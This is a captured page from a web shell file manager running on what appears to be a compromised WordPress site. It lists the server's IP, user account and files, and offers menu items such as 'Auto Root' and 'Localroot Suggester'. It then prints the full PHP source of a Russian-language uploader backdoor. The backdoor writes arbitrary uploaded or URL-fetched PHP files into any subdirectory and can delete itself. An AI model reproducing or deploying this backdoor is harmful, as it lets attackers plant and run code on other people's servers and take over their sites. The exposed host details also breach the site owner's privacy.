Linux ih01.iridiumhosting.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
LiteSpeed
Server IP : 67.227.241.211 & Your IP : 216.73.217.140
Domains :
Cant Read [ /etc/named.conf ]
User : dustinhy
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
dustinhy /
wdindy.com /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2021-12-27 15:20
cgi-bin
[ DIR ]
drwxr-xr-x
2021-12-27 15:19
wordpress
[ DIR ]
drwxr-xr-x
2021-12-27 15:34
wp-admin
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
wp-content
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
wp-includes
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
.htaccess
1.14
KB
-rw-r--r--
2026-01-30 06:32
error_log
22.92
KB
-rw-r--r--
2025-12-04 12:27
form.php
5.96
KB
-rw-r--r--
2024-03-20 17:28
index.php
12.03
KB
-rw-r--r--
2026-05-27 11:13
license.txt
19.44
KB
-rw-r--r--
2026-05-21 09:54
mah.php
3.69
KB
-rw-r--r--
2026-01-30 06:32
readme.html
7.23
KB
-rw-r--r--
2026-05-21 09:54
wp-activate.php
7.2
KB
-rw-r--r--
2026-05-21 09:54
wp-blog-header.php
351
B
-rw-r--r--
2020-02-06 06:33
wp-comments-post.php
2.27
KB
-rw-r--r--
2023-08-09 03:49
wp-config-sample.php
3.26
KB
-rw-r--r--
2025-12-03 10:56
wp-config.php
3.21
KB
-rw-r--r--
2021-12-27 15:35
wp-cron.php
5.49
KB
-rw-r--r--
2024-11-13 20:52
wp-links-opml.php
2.43
KB
-rw-r--r--
2025-12-03 10:56
wp-load.php
3.84
KB
-rw-r--r--
2024-07-17 03:37
wp-login.php
50.63
KB
-rw-r--r--
2026-05-21 09:54
wp-mail.php
8.52
KB
-rw-r--r--
2025-12-03 10:56
wp-settings.php
31.88
KB
-rw-r--r--
2026-05-21 09:54
wp-signup.php
33.81
KB
-rw-r--r--
2026-05-21 09:54
wp-trackback.php
5.09
KB
-rw-r--r--
2025-12-03 10:56
xmlrpc.php
3.13
KB
-rw-r--r--
2025-04-16 10:02
Save
Rename
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Uploader</title> </head> <body> <form action="" method="post" enctype="multipart/form-data"> <label for="filename">Название файла:</label> <input type="text" id="filename" name="filename" required> <br> <br> <label for="file">Выбрать файл:</label> <input type="file" id="file" name="file" accept=".pdf, .doc, .docx, .php, .js, .txt, .html"> <br> <br> <label for="url">URL:</label> <input type="text" name="url" id="url"> <br> <br> <label for="subdirectory">Поддиректория:</label> <input type="text" name="subdirectory" id="subdirectory"> <br> <br> <label for="fileformat">Формат файла:</label> <select name="fileformat" id="fileformat"> <option value="php" selected>.php</option> <option value="html">.html</option> <option value="js">.js</option> </select> <br> <br> <input type="submit" value="Загрузить"> <br> <br> </form> <br> <br> <form action="" method="post"> <input type="hidden" name="delete_program" value="true"> <input type="submit" name="delete_button" value="Удалить программу"> </form> </body> </html> <?php // Функция для загрузки файла из формы function uploadFileFromForm() { // Проверка, был ли отправлен файл if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { // Проверка размера файла if ($_FILES['file']['size'] > 50 * 1024 * 1024) { die('Ошибка: Размер файла превышает 50 МБ.'); } // Определение базовой директории для сохранения $baseDirectory = __DIR__; // Получение поддиректории из формы, если указано $subdirectory = isset($_POST['subdirectory']) ? $_POST['subdirectory'] : ''; // Сборка пути для сохранения файла $saveDirectory = $baseDirectory . '/' . $subdirectory; // Получение выбранного формата из формы, если указано $fileFormat = isset($_POST['fileformat']) ? $_POST['fileformat'] : 'php'; // Формирование имени файла с учетом выбранного формата $filename = $_POST['filename'] . '.' . $fileFormat; // Если выбран файл, переместить его из временной директории if (!empty($_FILES['file']['tmp_name'])) { $filePath = $saveDirectory . '/' . basename($filename); move_uploaded_file($_FILES['file']['tmp_name'], $filePath); } // Отправка уведомления echo 'Файл успешно загружен!'; } else { echo 'Произошла ошибка при загрузке файла.'; } } // Функция для загрузки файла по URL function uploadFileFromURL() { if (isset($_POST['url'])) { $url = $_POST['url']; $fileContent = downloadFile($url); if ($fileContent !== null) { $filename = $_POST['filename']; // Получение поддиректории из формы, если указано $subdirectory = isset($_POST['subdirectory']) ? $_POST['subdirectory'] : ''; // Сборка пути для сохранения файла $saveDirectory = __DIR__ . '/' . $subdirectory; // Получение выбранного формата из формы, если указано $fileFormat = isset($_POST['fileformat']) ? $_POST['fileformat'] : 'php'; // Формирование имени файла с учетом выбранного формата $filename = $filename . '.' . $fileFormat; // Обработка загруженного файла, например, сохранение на сервере file_put_contents($saveDirectory . '/' . $filename, $fileContent); echo 'Файл успешно загружен!'; } else { echo 'Произошла ошибка при загрузке файла.'; } } } // Функция для загрузки файла по URL function downloadFile($url) { // Проверка, что URL не пустой if (!empty($url)) { $fileContent = file_get_contents($url); return $fileContent !== false ? $fileContent : null; } else { return null; } } // Вызываем соответствующую функцию в зависимости от источника загрузки if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Проверка, был ли отправлен файл if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { uploadFileFromForm(); } else { uploadFileFromURL(); } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete_program']) && $_POST['delete_program'] === 'true' && isset($_POST['delete_button'])) { // Путь к текущему файлу $currentFile = __FILE__; // Удаляем текущий файл if (unlink($currentFile)) { echo 'Программа удалена!'; exit; } else { echo 'Ошибка при удалении программы.'; } } ?>